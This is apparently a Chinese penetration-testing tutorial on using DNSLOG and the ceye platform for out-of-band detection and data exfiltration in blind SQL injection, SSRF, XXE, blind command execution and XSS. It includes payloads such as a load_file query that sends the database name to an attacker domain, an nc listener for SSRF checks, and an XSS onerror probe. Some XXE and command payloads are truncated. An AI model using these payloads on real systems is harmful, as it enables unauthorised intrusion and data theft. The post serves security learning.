前言
DNSLOG
可能有些人对这个有点陌生,但这真是个十分强大的渗透技巧,这篇文章就是叙述DNSLOG
在渗透中的强大之处,相信对这个了解不多的看了之后会觉得受益良多。
首先先简单的介绍一下DNSLOG
,抽象的语言就不多说,用我自己的思路就是当我们拥有一个二级域名,例如bywalks.com
,然后请求三级域名,例如dnstest.bywalks.com
,DNS
解析时,
会把访问三级域名的日记传给二级域名。
有个基于DNSLOG
记录的ceye
平台,感兴趣的可以去看看
下面就是DNSLOG
在各种情况下的使用
注入
当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。
但有了DNSLOG
可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD
。
1 | load_file(concat('\\\\',(select database()),'.bywalks.ceye.io\\bywalks')) |
在这里我们需要了解load_file
是可以发送DNS
请求的。
所以就等同于访问了database().bywalks.ceye.io
,然后我们的ceye
平台就会有记录,那么database()
是不是就得到了呢?这种方法比逐字判断是要方便很多吧。
接下来注入就是库表列了。语句自由组合。
SSRF
当我们遇到SSRF
的时候,例如ImageUrl=XXX
这种,可以吧XXX
换成127.0.0.1:80,127.0.0.1:81
等,看返回值的情况判断是否存在SSRF
,也可以用NC -lvvp 8888
监听本地8888端口,然后ImageUrl=[http://Your-Ip:8888](http://Your-Ip:8888)
来观察是否存在SSRF
。
同时,我们也可以用基于DNSLOG
的ceye
来观察是否存在SSRF
,我们可以把XXX
换成bywalks.ceye.io
,然后看我们的ceye
平台是否有服务器的IP来判断。
XXE
当我们遇到XXE
,如果这个XXE
漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd
文件改成这样
1 | <!ENTITY % all |
在我们的ceye
平台就可以接收到这个读取的服务器文件了。
当安全维护人员对服务器做了安全防护,使XXE
不可以解析外部实体,但是<?xml version='1.0'?>
这种仍然是从前台直接传递的时候,依旧是存在SSRF
漏洞。所以对XXE
的安全防护是必须严格化的。
命令执行
在ceye
平台是有着这样一个payload
:
1 | Linux: |
也就是当命令执行无回显的时候,我们就可以使用基于DNSLOG
的ceye
来获取我们想要的数据
XSS
Payload:
1 | "><img src=x onerror=http://bywalks.ceye.io> |
可以用来判断是否存在XSS
总结
1:主要实用的情况,盲注提高效率
2:主要使用的情况,在命令执行无回显,SSRF
,XXE
判断等通过下使用。关键在于无回显时。